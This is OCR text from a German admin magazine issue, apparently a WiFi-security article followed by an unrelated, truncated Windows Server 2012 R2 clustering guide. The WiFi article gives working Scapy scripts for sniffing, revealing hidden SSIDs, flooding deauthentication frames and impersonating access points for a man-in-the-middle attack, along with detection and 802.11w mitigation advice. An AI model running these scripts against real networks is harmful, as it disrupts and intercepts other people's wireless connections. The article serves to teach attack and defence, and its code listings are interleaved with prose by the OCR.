Pakete enthalten, die keine Be-<br />
01 root@hercules:/home/jcb# ifconfig wlan0 down<br />
02 root@hercules:/home/jcb# iwconfig wlan0 mode monitor<br />
03 root@hercules:/home/jcb# ifconfig wlan0 up<br />
04 root@hercules:/home/jcb# iwconfig wlan0<br />
05 wlan0 IEEE 802.11bgn Mode:Monitor Frequency:2.467 GHz Tx‐Power=20 dBm<br />
06 Retry long limit:7 RTS thr=2347 B Fragment thr:off<br />
07 Power Management:off<br />
n Listing 2: WLAN-Sniffer<br />
01 #!/usr/bin/python<br />
02 <br />
03 import os<br />
04 from scapy.all import *<br />
05 <br />
06 iface = "wlan0"<br />
07 <br />
08 os.system("/sbin/iwconfig " + iface + " mode monitor")<br />
09 <br />
10 # Dump packets that are not beacons, probe request / responses<br />
11 def dump_packet(pkt):<br />
12 if not pkt.haslayer(Dot11Beacon) and \<br />
13 not pkt.haslayer(Dot11ProbeReq) and \<br />
14 not pkt.haslayer(Dot11ProbeResp):<br />
15 print pkt.summary()<br />
16 <br />
17 if pkt.haslayer(Raw):<br />
18 print hexdump(pkt.load)<br />
19 print "\n"<br />
20 <br />
21 while True:<br />
22 for channel in range(1, 14):<br />
23 os.system("/sbin/iwconfig " + iface + " channel " +<br />
str(channel))<br />
24 print "Sniffing on channel " + str(channel)<br />
25 <br />
26 sniff(iface=iface,<br />
27 prn=dump_packet,<br />
28 count=10,<br />
29 timeout=3,<br />
30 store=0)<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
48<br />
Wireless Security<br />
WiFi-Security<br />
Abbildung 2: Beispielhafte Ausgabe des kleinen Sniffer-Programms.<br />
acon-Frames oder Probe-Response-Pakete<br />
sind, vermittelt der WLAN-Sniffer<br />
aus Listing 2. Er benötigt die Bibliothek<br />
Scapy, die sich mit<br />
pip install scapy<br />
installieren lässt. Der Sniffer lauscht<br />
der Reihe nach auf allen 14 Kanälen,<br />
die bei der 2.4-GHz-Frequenz verfügbar<br />
sind, und sammelt maximal drei Sekunden<br />
lang Pakete. Damit die WLAN-Karte<br />
n Listing 3: Probe-Frames<br />
01 #!/usr/bin/python<br />
02 <br />
03 from scapy.all import *<br />
04 <br />
05 iface = "wlan0"<br />
06 <br />
07 # Print ssid of probe requests, probe<br />
response<br />
08 # or association request<br />
09 def handle_packet(packet):<br />
10 if packet.haslayer(Dot11ProbeReq) or \<br />
n Listing 4: Deauth-Pakete<br />
01 #!/usr/bin/python<br />
02 <br />
03 import time<br />
04 from scapy.all import *<br />
05 <br />
06 iface = "mon0"<br />
07 timeout = 1<br />
08 <br />
09 if len(sys.argv) < 2:<br />
10 print sys.argv[0] + " [client]"<br />
11 sys.exit(0)<br />
12 else:<br />
13 bssid = sys.argv[1]<br />
14 <br />
15 if len(sys.argv) == 3:<br />
auch Pakete beachtet,<br />
die nicht an sie adressiert<br />
sind, muss sie<br />
zuvor mit<br />
ifwconfig wlan0 mode U<br />
monitor<br />
in einen Zustand geschaltet<br />
werden, der<br />
mit dem Promiscuous<br />
Mode bei kabelgebundenen<br />
Ethernet-<br />
Interfaces vergleichbar<br />
ist. Dabei mag es übrigens vorkommen,<br />
dass die Karte keinen Wechsel in den<br />
Monitor-Modus zulässt, solange sie benutzt<br />
wird. Die Quittung lautet dann:<br />
SET failed on device wlan0 ; U<br />
Device or resource busy.<br />
Unter Linux schafft dann eine Prozedur<br />
Abhilfe, wie sie Listing 1 zeigt.<br />
Falls vor Erreichen des Timeouts schon<br />
zehn Pakete aufgezeichnet wurden,<br />
11 packet.haslayer(Dot11ProbeResp) or \<br />
12 packet.haslayer(Dot11AssoReq):<br />
13 print "Found SSID " + packet.info<br />
14 <br />
15 # Set device into monitor mode<br />
16 os.system("iwconfig " + iface + " mode<br />
monitor")<br />
17 <br />
18 # Start sniffing<br />
19 print "Sniffing on interface " + iface<br />
20 sniff(iface=iface, prn=handle_packet)<br />
16 dest = sys.argv[2]<br />
17 else:<br />
18 dest = "ff:ff:ff:ff:ff:ff"<br />
19 <br />
20 pkt = RadioTap() / \<br />
21 Dot11(subtype=0xc,<br />
22 addr1=dest, addr2=bssid, addr3=bssid)<br />
/ \<br />
23 Dot11Deauth(reason=3)<br />
24 <br />
25 while True:<br />
26 print "Sending deauth to " + dest<br />
27 sendp(pkt, iface=iface)<br />
28 time.sleep(timeout)<br />
springt das Programm einen Channel<br />
weiter. Für jedes eingelesene Paket ruft<br />
der Sniffer die Funktion »dump_packet()«<br />
auf. Handelt es sich bei dem<br />
eingelesenen Paket nicht um einen<br />
Beacon-Frame, ein Probe-Requestoder<br />
Probe-Response-Paket, werden<br />
die Source- und Destination-Adressen<br />
sowie die enthaltenen Layer des Pakets<br />
ausgegeben. Eventuell enthaltene weitere<br />
Daten zeigt der Sniffer in Hex und<br />
ASCII an (Abbildung 2).<br />
Sicher weil unsichtbar?<br />
Manche Admins glauben, es sei bereits<br />
ein erster Schutz, die SSID des eigenen<br />
WLANs zu verstecken. Wer meint,<br />
das Feature „Hidden SSID“ verberge<br />
das eigene Netz vor einem möglichen<br />
Wardriver, ist allerdings auf dem Holzweg.<br />
Es bewirkt nämlich lediglich, dass<br />
der Accesspoint die SSID nicht mehr in<br />
den Beacon-Frames erwähnt. Aber in<br />
Probe-Request-, Probe-Response- und<br />
Association-Request-Paketen ist die<br />
SSID weiterhin enthalten. Kann der<br />
Angreifer einen kurzzeitigen Disconnect<br />
bewirken, wird sich der Client anschließend<br />
sofort wieder zu verbinden versuchen<br />
und dazu mindestens eins der<br />
eben erwähnten Pakete verwenden.<br />
Davon kann man sich mit dem kleinen<br />
Skript aus Listing 3 überzeugen, das<br />
die fraglichen Pakete herausfiltert und<br />
anzeigt.<br />
Ganz Ähnliches gilt übrigens für das<br />
Feature vieler Router, nur Verbindungen<br />
zu bekannten MAC-Adressen<br />
zuzulassen. Sobald sich ein Client mit<br />
dem Netz verbunden hat, kann man<br />
dessen MAC-Adresse erkennen und<br />
fortan leicht als eigene verwenden. Unsichtbare<br />
SSIDs und die Beschränkung<br />
auf bestimmte MAC-Adressen schützen<br />
also nur solange, wie überhaupt keine<br />
Netzwerkverbindung besteht.<br />
WLAN-Packet-Injection<br />
Die eben erwähnte kurze Unterbrechung<br />
einer WLAN-Verbindung lässt<br />
sich relativ leicht bewerkstelligen,<br />
wenn man selbst 802.11-Pakete aussenden<br />
kann. Dazu wiederum bedarf es<br />
eines Treibers, der diese Fähigkeit hat,<br />
und eines dazu passenden Chipsatzes.<br />
Atheros ist mit Abstand der beliebteste<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Wireless Security<br />
WiFi-Security<br />
49<br />
n Listing 5: Man-in-the-Middle<br />
001 #!/usr/bin/python<br />
002 <br />
003 import os<br />
004 import sys<br />
005 import time<br />
006 import getopt<br />
007 from scapy.all import *<br />
008 <br />
009 iface = "wlan0"<br />
010 ssid_filter = []<br />
011 client_addr = None<br />
012 mymac = "aa:bb:cc:aa:bb:cc"<br />
013 <br />
014 <br />
015 # Extract Rates and ESRates from ELT<br />
header<br />
016 def get_rates(packet):<br />
017 rates = "\x82\x84\x0b\x16"<br />
018 esrates = "\x0c\x12\x18"<br />
019 <br />
020 while Dot11Elt in packet:<br />
021 packet = packet[Dot11Elt]<br />
022 <br />
023 if packet.ID == 1:<br />
024 rates = packet.info<br />
025 elif packet.ID == 50:<br />
026 esrates = packet.info<br />
027 <br />
028 packet = packet.payload<br />
029 <br />
030 return [rates, esrates]<br />
031 <br />
032 <br />
033 def send_probe_response(packet):<br />
034 ssid = packet.info<br />
035 rates = get_rates(packet)<br />
036 channel = "\x07"<br />
037 <br />
038 if ssid_filter and ssid not in ssid_<br />
filter:<br />
039 return<br />
040 <br />
041 print "\n\nSending probe response for<br />
" + ssid + \<br />
042 " to " + str(packet[Dot11].<br />
addr2) + "\n"<br />
043 <br />
044 # addr1 = destination, addr2 = source,<br />
045 # addr3 = access point<br />
046 # dsset sets channel<br />
047 <br />
048 cap="ESS+privacy+short‐preamble+shor<br />
t‐slot"<br />
049 <br />
050 resp = RadioTap() / \<br />
051 Dort11(addr1=packet[Dot11].addr2,<br />
052 addr2=mymac, addr3=mymac) / \<br />
053 Dot11ProbeResp(timestamp=time.<br />
time(),<br />
054 cap=cap) / \<br />
055 Dot11Elt(ID='SSID', info=ssid) / \<br />
056 Dot11Elt(ID="Rates", info=rates[0])<br />
/ \<br />
057 Dot11Elt(ID="DSset",info=channel<br />
) / \<br />
058 Dot11Elt(ID="ESRates",<br />
info=rates[1])<br />
059 <br />
060 sendp(resp, iface=iface)<br />
061 <br />
062 def send_auth_response(packet):<br />
063 # Dont answer our own auth packets<br />
064 if packet[Dot11].addr2 != mymac:<br />
065 print "Sending authentication to "<br />
+ packet[Dot11].addr2<br />
066 <br />
067 res = RadioTap() / \<br />
068 Dot11(addr1=packet[Dot11].addr2,<br />
069 addr2=mymac, addr3=mymac) / \<br />
070 Dot11Auth(algo=0, seqnum=2,<br />
status=0)<br />
071 <br />
072 sendp(res, iface=iface)<br />
073 <br />
074 def send_association_response(packet):<br />
075 if ssid_filter and ssid not in ssid_<br />
filter:<br />
076 return<br />
077 <br />
078 ssid = packet.info<br />
079 rates = get_rates(packet)<br />
080 print "Sending Association response<br />
for " + ssid + \<br />
081 " to " + packet[Dot11].addr2<br />
082 <br />
083 res = RadioTap() / \<br />
084 Dot11(addr1=packet[Dot11].addr2,<br />
085 addr2=mymac, addr3=mymac) / \<br />
086 Dot11AssoResp(AID=2) / \<br />
087 Dot11Elt(ID="Rates", info=rates[0])<br />
/ \<br />
088 Dot11Elt(ID="ESRates",<br />
info=rates[1])<br />
089 <br />
090 sendp(res, iface=iface)<br />
091 <br />
092 # This function is called for every<br />
captured packet<br />
093 def handle_packet(packet):<br />
094 sys.stdout.write(".")<br />
095 sys.stdout.flush()<br />
096 <br />
097 if client_addr and packet.addr2 !=<br />
client_addr:<br />
098 return<br />
099 <br />
100 # Got probe request?<br />
101 if packet.haslayer(Dot11ProbeReq):<br />
102 send_probe_response(packet)<br />
103 <br />
104 # Got authenticaton request<br />
105 elif packet.haslayer(Dot11Auth):<br />
106 send_auth_response(packet)<br />
107 <br />
108 # Got association request<br />
109 elif packet.haslayer(Dot11AssoReq):<br />
110 send_association_response(packet)<br />
111 <br />
112 def usage():<br />
113 print sys.argv[0]<br />
114 print """<br />
115 ‐a (optional)<br />
116 ‐i (optional)<br />
117 ‐m (optional)<br />
118 ‐s (optional)<br />
119 """<br />
120 sys.exit(1)<br />
121 <br />
122 # Parsing parameter<br />
123 if len(sys.argv) == 2 and sys.argv[1] ==<br />
"‐‐help":<br />
124 usage()<br />
125 <br />
126 try:<br />
127 cmd_opts = "a:i:m:s:"<br />
128 opts, args = getopt.getopt(sys.<br />
argv[1:], cmd_opts)<br />
129 except getopt.GetoptError:<br />
130 usage()<br />
131 <br />
132 for opt in opts:<br />
133 if opt[0] == "‐a":<br />
134 client_addr = opt[1]<br />
135 elif opt[0] == "‐i":<br />
136 iface = opt[1]<br />
137 elif opt[0] == "‐m":<br />
138 my_mac = opt[1]<br />
139 elif opt[0] == "‐s":<br />
140 ssid_filter = opt[1].split(",")<br />
141 else:<br />
142 usage()<br />
143 <br />
144 os.system("iwconfig " + iface + " mode<br />
monitor")<br />
145 <br />
146 # Start sniffing<br />
147 print "Sniffing on interface " + iface<br />
148 sniff(iface=iface, prn=handle_packet)<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
50<br />
Wireless Security<br />
WiFi-Security<br />
n Info<br />
n Autor<br />
Chipsatz, aber andere sind auch verwendbar.<br />
Je nach Chipsatz kommen<br />
andere Treiber zum Einsatz wie zum<br />
Beispiel Hostap, Madwifi, Ath5k und<br />
Ath9k.<br />
Den Chipsatz der eigenen WLAN-<br />
Karte oder des WLAN-Sticks findet<br />
man am einfachsten mit dem Befehl<br />
»lspci« oder »lsusb« heraus. Alternativ<br />
kann man auch in den Ausgaben von<br />
»dmesg« fündig werden. Eine Anleitung<br />
dafür und zur Überprüfung der Kompatibilität<br />
findet sich beispielsweise unter<br />
[1], auch die Madwifi-Kompatibilitätsliste<br />
hilft weiter [2]. Mithilfe des Tools<br />
»airmon_ng« lässt sich abschließend<br />
testen, ob alles funktioniert:<br />
;<br />
airmon‐ng start wlan0<br />
aireplay‐ng ‐‐test mon0<br />
Das Ergebnis sollte ungefähr so aussehen:<br />
16:37:00 Trying broadcast probe<br />
requests...<br />
16:37:00 Injection is working!<br />
Hatte man von vornherein einen passenden<br />
Treiber und Chipsatz oder<br />
konnte man zumindest den eigenen<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31724<br />
[1] WLAN-Treiber-Patches: [http:// www.<br />
aircrack‐ng. org/ doku. php? id=compatibility_<br />
drivers& DokuWiki=a990734b0e16b5d9b200c<br />
cc4e59d821b]<br />
[2] Madwifi-Kompatibilitätsliste: [http://<br />
madwifi‐project. org/ wiki/ Compatibility]<br />
Bastian Ballmann arbeitet als System<br />
Engineer bei der Informatik-Support-<br />
Gruppe des Departments für Informatik<br />
der ETH Zürich. Er ist Autor des Buches<br />
"Network Hacks - Intensivkurs: Angriff<br />
und Verteidigung mit Python".<br />
Treiber erfolgreich patchen, kann es<br />
losgehen. Um wie angekündigt zu<br />
bewirken, dass die Verbindung eines<br />
Clients mit einem WLAN unterbrochen<br />
wird, dessen SSID der Admin auf der<br />
Kommandozeile übergeben kann, sendet<br />
das Skript aus Listing 4 ein Deauth-<br />
Paket. Als Grund für den Verbindungsabbruch<br />
wird der Code »3« angegeben,<br />
was bedeutet, dass sich der Accesspoint<br />
angeblich ausschalten will.<br />
Das konstruierte Paket wird in einer<br />
Endlosschleife verschickt, wobei zwischen<br />
dem Versenden der Pakete im<br />
Beispiel immer ein Timeout von einer<br />
Sekunde abgewartet wird. Derartige<br />
Deauth-Angriffe erkennt man am<br />
einfachsten mit einem Sniffer wie Wireshark<br />
und dem Filter<br />
wlan.fc.subtype == 0x0c<br />
Dem Autor ist als einzige Schutzmaßnahme<br />
ein kompletter Umstieg auf<br />
802.11w bekannt.<br />
Man-in-the-Middle<br />
Das nächste Skript soll auf Probe-<br />
Request-Pakete warten und mit einem<br />
gefälschten Probe-Response-Paket<br />
antworten, genauso als wäre es ein Accesspoint<br />
für dieses Netz. Anschließend<br />
wird der gesamte Anmelde-Prozess<br />
simuliert. Dadurch lenkt man Clients<br />
für beliebige Netze auf den eigenen<br />
Rechner um. Der Einfachheit halber<br />
verzichtet dieser Beitrag darauf, auch<br />
die nachfolgenden Data-Frames zu<br />
fälschen und er implementiert auch<br />
keinen DHCP-Server oder ähnliche<br />
Dienste.<br />
Sollte die Attacke beim ersten Versuch<br />
nicht gelingen, kann das daran liegen,<br />
dass der Angreifer entweder zu weit<br />
vom Client entfernt ist oder der Traffic<br />
in der Umgebung zu hoch ist, sodass<br />
Scapy zu langsam antwortet. Letzteres<br />
lässt sich dadurch abmildern, dass das<br />
Programm mit dem Parameter »‐s« gestartet<br />
wird, um es auf eine oder mehrere<br />
SSIDs zu beschränken. Zusätzlich<br />
kann man es mit dem Parameter »‐a«<br />
auf einen Client festlegen.<br />
In Listing 5 wird die Karte zuerst wieder<br />
in den Monitor-Modus geschaltet und<br />
der Netzwerkverkehr eingelesen. Dabei<br />
ruft das Skript für jedes Paket die<br />
Funktion »handle_packet()« auf und<br />
untersucht, um welche Art Paket es sich<br />
handelt. War es ein Probe-Request,<br />
sendet das Skript mithilfe der Funktion<br />
»send_probe_response« ein Probe-<br />
Response-Paket zurück.<br />
Via Dot11Elt-Header werden Eigenschaften<br />
wie die SSID, die zur Verfügung<br />
stehenden Übertragungsraten<br />
(»Rates«), der Channel (»DSset«) und<br />
die erweiterten Übertragungsraten<br />
(»ESRates«) gesetzt. Die Übertragungsraten<br />
ermittelt das Skript vorher<br />
aus dem Probe-Request-Paket in der<br />
Funktion »get_rates()« . Findet es keine,<br />
gibt die Funktion zwei Standardwerte<br />
zurück, die für die Raten 1, 2, 5.5 und 11<br />
MBit stehen. Weitere Elt-Header oder<br />
andere Übertragungsraten können am<br />
einfachsten mit Wireshark aus realem<br />
WLAN-Verkehr mitgelesen werden.<br />
Hat die Funktion »handle_packet()« ein<br />
Authentication-Paket erhalten, kommt<br />
die Funktion »send_auth_response«<br />
zum Zug, die als Erstes überprüft, ob<br />
das Paket vom agierenden Skript selbst<br />
stammt. Die Authentication-Phase<br />
kennt nämlich keine unterschiedlichen<br />
Request- und Response-Pakete; sie<br />
unterscheiden sich nur in der Sequenznummer.<br />
Eins bedeutet Request, zwei<br />
steht für Response.<br />
Bei einem eingelesenen Association-<br />
Request-Paket wird dagegen die Funktion<br />
»send_association_response()«<br />
bemüht. Sie erzeugt ein Association-<br />
Response-Paket und setzt die Übertragungsraten<br />
im Elt-Header.<br />
Fazit<br />
Schon dieser kleine Exkurs in die WiFi-<br />
Welt zeigt, dass es eine ganze Reihe<br />
Angriffspunkte auf WiFi-Verbindungen<br />
gibt, die ohne allzu großen Aufwand<br />
ausnutzbar sind. Eine Verbesserung<br />
brachte die 2009 verabschiedete Standarderweiterung<br />
802.11w, die Protected<br />
Management Frames definiert und<br />
außerdem WPA2 mit AES voraussetzt.<br />
Angriffe wie die oben vorgestellte<br />
Deauth-Attacke sind damit nicht mehr<br />
möglich. Allerdings müssen sowohl<br />
Accesspoint wie Client diesen Standard<br />
unterstützen. Bis jetzt hat er sich nicht<br />
breit durchgesetzt. (jcb) n<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Jakub Gojda, 123RF<br />
Cluster mit Windows Server 2012 R2<br />
Zusammen stark<br />
Mit Windows lassen sich hochverfügbare Cluster auf Knopfdruck erstellen – ob virtuell oder real. Auf<br />
Wunsch übernimmt der Cluster sogar die vollautomatische, unterbrechungsfreie Aktualisierung von<br />
Betriebssystem und Server-Software. Thomas Joos<br />
Der Windows Server 2012 R2 bietet<br />
bereits in der Standard-Edition die<br />
Möglichkeit, einen Cluster aufzubauen.<br />
Das geht zwar auch bereits mit Windows<br />
Server 2012, aber nicht mit den<br />
Vorgängerversionen. Neu in Windows<br />
Server 2012 R2 ist die Option, einen<br />
Cluster auch auf Basis von virtuellen<br />
Servern aufzubauen und als gemeinsame<br />
Datenträger virtuelle Festplatten<br />
zu definieren. Diese neue Möglichkeit<br />
basiert auf den Neuerungen von VHDX-<br />
Festplatten in Windows Server 2012 R2,<br />
die kürzlich bereits Thema im ADMIN<br />
waren [1].<br />
Wir zeigen, wie Sie einen Cluster mit<br />
Windows Server 2012 R2 aufbauen und<br />
einrichten. Der Ablauf ist bei virtuellen<br />
Servern und physischen Maschinen<br />
weitgehend gleich. Der Unterschied<br />
besteht nur in der Konfiguration von<br />
virtuellen Festplatten als Shared-VHDX-<br />
Dateien. Sie können natürlich weiterhin<br />
für Cluster andere gemeinsame Datenträger<br />
einsetzen, auch wenn Sie einen<br />
virtuellen Cluster betreiben.<br />
Darüber hinaus gibt es seit Windows<br />
Server 2012 auch die Möglichkeit, auf<br />
einem Server VHD-Festplatten als<br />
gemeinsamen Cluster-Speicher auf<br />
iSCSI-Basis zu definieren. Ab Windows<br />
Server 2012 R2 funktioniert dies auch<br />
mit VHDX-Festplatten. Ein Vorteil von<br />
iSCSI-Zielen als gemeinsamer Datenträger<br />
ist, dass sich auch physische<br />
Cluster anbinden lassen, während<br />
die gemeinsamen VHDX-Festplatten<br />
(Shared-VHDX) nur virtuelle Cluster unterstützen.<br />
Live-Migration und Co.<br />
Unternehmen, die Server mit Hyper-V<br />
virtualisieren und Hochverfügbarkeit<br />
erreichen wollen, setzen dazu auf die<br />
Live-Migration von VMs im Cluster. Live-<br />
Migration lässt sich allerdings nur mit<br />
einem physischen, gemeinsamen Datenträger<br />
oder mit iSCSI-Zielen bereitstellen.<br />
Die gemeinsamen Festplatten<br />
auf Basis von Shared-VHDX unterstützen<br />
keine Cluster für die Live-Migration<br />
in Hyper-V.<br />
Betreiben Sie Hyper-V in einem Cluster,<br />
können Sie sicherstellen, dass beim<br />
Ausfall eines physischen Hosts alle<br />
virtuellen Server durch einen weiteren<br />
Host automatisch übernommen werden.<br />
Dazu betreiben Sie die virtuellen<br />
Server als Cluster-Ressourcen. Beim<br />
Einsatz von virtuellen Clustern können<br />
Sie Fehler in Servern ebenfalls abfangen,<br />
allerdings keine Fehler der Hardware,<br />
da der Cluster virtuell abgebildet<br />
ist. Natürlich können Sie die virtuellen<br />
Cluster-Knoten auch auf physischen<br />
Clustern betreiben. In diesem Fall sind<br />
die virtuellen Server vor Ausfall der<br />
Hardware geschützt und die virtuellen<br />
Cluster-Dienste, zum Beispiel ein Dateiserver,<br />
vor dem Ausfall des virtuellen<br />
Betriebssystems auf einem virtuellen<br />
Cluster-Knoten.<br />
iSCSI-Ziele<br />
Windows Server 2012 R2 stellt virtuelle<br />
Festplatten auf Basis von VHDX-<br />
Dateien als iSCSI-Ziel im Netzwerk<br />
zur Verfügung (Abbildung 1). Diese<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Know-how<br />
Windows-Cluster<br />
53<br />
virtuellen Festplatten können als gemeinsamer<br />
Datenträger für Cluster<br />
dienen. Um Festplatten als iSCSI-Target<br />
bereitzustellen, installieren Sie über<br />
den Server-Manager mit »Verwalten/<br />
Rollen und Features hinzufügen« den<br />
Rollendienst »iSCSI‐Zielserver« über<br />
»Datei‐ und Speicherdienste/Datei‐ und<br />
iSCSI‐Dienste«. Nach der Installation<br />
des Rollendienstes können Sie über<br />
den Server-Manager und der Auswahl<br />
von »Datei‐/Speicherdienste/iSCSI«<br />
virtuelle Festplatten erstellen und diese<br />
als iSCSI-Ziel im Netzwerk anbieten.<br />
Dazu verwenden Sie am besten einen<br />
Server im Netzwerk, der nicht Bestandteil<br />
des Clusters ist.<br />
Im Rahmen der Einrichtung legen Sie<br />
die Größe und den Speicherort der<br />
VHD(X)-Datei fest. Außerdem können<br />
Sie über den Assistenten steuern,<br />
welche Server im Netzwerk auf das<br />
iSCSI-Ziel zugreifen dürfen. Wollen Sie<br />
die Festplatten als Cluster-Datenträger<br />
nutzen, können Sie hier den Zugriff einschränken.<br />
Mit einem einzelnen iSCSI-<br />
Ziel können Sie auch mehrere virtuelle<br />
iSCSI-Festplatten auf einem Server zur<br />
Verfügung stellen. Dazu starten Sie den<br />
Assistenten einfach neu und wählen ein<br />
bereits vorhandenes Ziel aus.<br />
Haben Sie die einzelnen virtuellen Festplatten<br />
erzeugt und iSCSI-Ziel(en) zugewiesen,<br />
können Sie sie mit den Cluster-<br />
Knoten verbinden. Die virtuellen Festplatten<br />
werden nach der Anbindung in<br />
der lokalen Datenträgerverwaltung des<br />
entsprechenden Servers als normale<br />
Laufwerke angezeigt und entsprechend<br />
verwaltet.<br />
iSCSI-Ziele verbinden<br />
Um auf Cluster-Knoten die virtuellen<br />
iSCSI-Laufwerke zu verbinden, verwenden<br />
Sie den iSCSI-Initiator, der zu den<br />
Bordmitteln von Windows Server 2012<br />
R2 gehört. Suchen Sie nach »iscsi« im<br />
Startbildschirm und starten Sie das<br />
Tool. Beim ersten Aufruf müssen Sie<br />
den Start des entsprechenden System-<br />
Dienstes bestätigen und die Blockierung<br />
durch die Windows-Firewall<br />
aufheben.<br />
Um den iSCSI-Storage einzubinden,<br />
wechseln Sie zuerst zur Registerkarte<br />
»Suche«. Klicken Sie auf »Portal ermit-<br />
teln« und geben Sie die<br />
IP-Adresse oder den<br />
Namen des Servers<br />
ein, der die virtuellen<br />
Festplatten zur Verfügung<br />
stellt. Wechseln<br />
Sie zur Registerkarte<br />
»Ziele«, auf der Windows<br />
das iSCSI-Ziel auf<br />
dem Server anzeigt.<br />
Anschließend können<br />
Sie das Ziel mit den<br />
hinterlegten Laufwerken<br />
verbinden, die Sie<br />
auf dem Ziel-Server<br />
mit dem iSCSI-Ziel erstellt<br />
haben.<br />
Klicken Sie auf die<br />
Schaltfläche »Verbinden«, baut der<br />
Server eine Verbindung mit dem<br />
Server und den erstellten virtuellen<br />
Festplatten auf (Abbildung 2). Aktivieren<br />
Sie das Kontrollkästchen »Diese<br />
Verbindung der Liste der bevorzugten<br />
Ziele hinzufügen«. Diese Option muss<br />
für alle Laufwerke eingestellt werden.<br />
Bestätigen Sie alle Fenster mit »OK«.<br />
Wenn Sie einen Cluster mit iSCSI erstellen,<br />
verbinden Sie das Ziel auch mit<br />
dem zweiten Server und allen weiteren<br />
Cluster-Knoten, die Sie in den Cluster<br />
einbinden wollen.<br />
Mit »Multipfad aktivieren« legen Sie<br />
fest, dass Windows Server 2012 R2<br />
auch alternative Netzwerkwege zwischen<br />
Server- und Ziel-System verwendet.<br />
Das ist ein wichtiger Beitrag zur<br />
Erhöhung der Ausfallsicherheit.<br />
iSCSI-Festplatten<br />
konfigurieren<br />
Nachdem Sie iSCSI-Ziele verbunden<br />
haben, stehen in der Datenträgerverwaltung<br />
die mit diesem iSCSI-Ziel<br />
verbundenen Laufwerke zur Verfügung.<br />
Die Datenträgerverwaltung starten Sie<br />
mit »diskmgmt.msc«.<br />
Nachdem die Laufwerke mit dem<br />
ersten Serverknoten verbunden sind,<br />
müssen diese über die Festplattenverwaltung<br />
online geschaltet, initialisiert,<br />
partitioniert und formatiert werden.<br />
Eine Umwandlung in dynamische<br />
Datenträger wird für den Einsatz im<br />
Cluster nicht empfohlen. Da die Datenträger<br />
aber bereits auf dem ersten<br />
Abbildung 1: Windows Server 2012 R2 kann virtuelle VHDX-Platten als<br />
iSCSI-Target bereitstellen.<br />
Knoten initialisiert und formatiert<br />
wurden, müssen Sie diesen Schritt<br />
auf dem zweiten nicht wiederholen.<br />
Auf dem zweiten Knoten reichen das<br />
Online-Schalten und das Ändern der<br />
Laufwerksbuchstaben, die mit dem ersten<br />
Knoten übereinstimmen müssen.<br />
Über das Kontextmenü setzen Sie die<br />
iSCSI-Targets online, dann initialisieren<br />
Sie die Targets, erstellen ein Volume<br />
und formatieren es mit NTFS.<br />
Cluster-Knoten vorbereiten<br />
Neben dem gemeinsamen Datenträger,<br />
auf den alle Cluster-Knoten zugreifen<br />
können, braucht ein Cluster auch ei-<br />
Abbildung 2: Auf den Cluster-Knoten binden Sie virtuelle<br />
iSCSI-Ziele über den iSCSI-Initiator an.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
54<br />
Know-how<br />
Windows-Cluster<br />
Abbildung 3: Den Cluster-Dienst installieren Sie in Windows Server<br />
2012 R2 wahlweise auch in der Powershell.<br />
nen Namen. Dieser Name erhält kein<br />
Computerkonto, wird aber für die Administration<br />
des Clusters verwendet.<br />
Jeder Knoten des Clusters erhält ein<br />
Computerkonto in derselben Domäne.<br />
Daher benötigt jeder physische Knoten<br />
einen entsprechenden Rechnernamen.<br />
Sie brauchen für den Cluster mehrere<br />
IP-Adressen: für jeden physische Knoten<br />
je eine IP-Adresse, eine IP-Adresse<br />
für den Cluster als Ganzes und je eine<br />
IP-Adresse in einem eigenen Subnetz<br />
für die private Kommunikation der<br />
Cluster-Knoten. Nur in Testumgebungen<br />
kann die Kommunikation mit dem<br />
Netzwerk und die interne Cluster-<br />
Kommunikation in einer einzigen<br />
Netzwerkumgebung stattfinden. In<br />
Abbildung 4: Das Testen der Server für die Cluster-Installation ist der<br />
erste Schritt zum Erstellen eines Clusters.<br />
diesem Fall müssen Sie<br />
nichts anpassen. Für<br />
Test zwecke kann ein<br />
Cluster auch nur aus<br />
einem einzelnen Knoten<br />
bestehen.<br />
Cluster mit<br />
Windows Server<br />
2012 R2<br />
Um Hyper-V oder andere Dienste in<br />
einem Cluster zu betreiben, installieren<br />
Sie zunächst einen herkömmlichen<br />
Cluster mit Windows Server 2012 R2.<br />
Clustering installieren Sie in Windows<br />
Server 2012 R2 als Feature über den<br />
Server-Manager oder die Powershell.<br />
Während der Installation nehmen Sie<br />
keine Einstellungen vor. Achten Sie darauf,<br />
dass die gemeinsamen Datenträger<br />
auf allen Knoten verbunden und mit<br />
dem gleichen Laufwerksbuchstaben<br />
versehen sind. Um die notwendigen<br />
Features für einen Hyper-V-Cluster<br />
zu installieren, können Sie auch die<br />
Powershell verwenden (Abbildung 3):<br />
Install‐WindowsFeature Hyper‐V<br />
Abbildung 5: Cluster erstellen Sie in der Cluster-Verwaltung oder über die Powershell.<br />
Install‐WindowsFeature U<br />
Failover‐U<br />
Clustering<br />
Install‐WindowsFeatureU<br />
Multipath‐IO<br />
Starten Sie nach der<br />
Installation der notwendigen<br />
Features auf<br />
dem ersten Knoten die<br />
Failover-Cluster-Verwaltung,<br />
indem Sie auf<br />
der Startseite »failover«<br />
eingeben. Klicken<br />
Sie auf den Link »Konfiguration<br />
überprüfen«.<br />
Im Fenster wählen Sie<br />
zunächst die potenziellen<br />
Cluster-Knoten<br />
aus und legen fest, welche Tests das<br />
Tool durchführen soll (Abbildung 4).<br />
Die Verwaltung der Cluster ist aber<br />
nur verfügbar, wenn Sie die Verwaltungswerkzeuge<br />
auf einem Server<br />
installieren. Das können Sie über den<br />
Server-Manager durchführen oder mit<br />
der Powershell.<br />
Nachdem der Assistent alle wichtigen<br />
Punkte erfolgreich getestet hat, erstellen<br />
Sie den Cluster. Das ist wieder in<br />
der Powershell möglich (Abbildung 5):<br />
New‐Cluster ‐Name Cluster-NameU<br />
‐StaticAddress Cluster‐Adresse U<br />
‐Node Knoten 1, Knoten 2<br />
Cluster Shared Volumes<br />
aktivieren<br />
Wichtig für die Live-Migration von Hyper-V<br />
sind die Cluster Shared Volumes<br />
(CSV). Sie ermöglichen, dass mehrere<br />
Server in einem gemeinsamen Datenträger<br />
gleichzeitig auf einen gemeinsamen<br />
Datenträger zugreifen können. Um<br />
Hyper-V mit Live-Migration in einem<br />
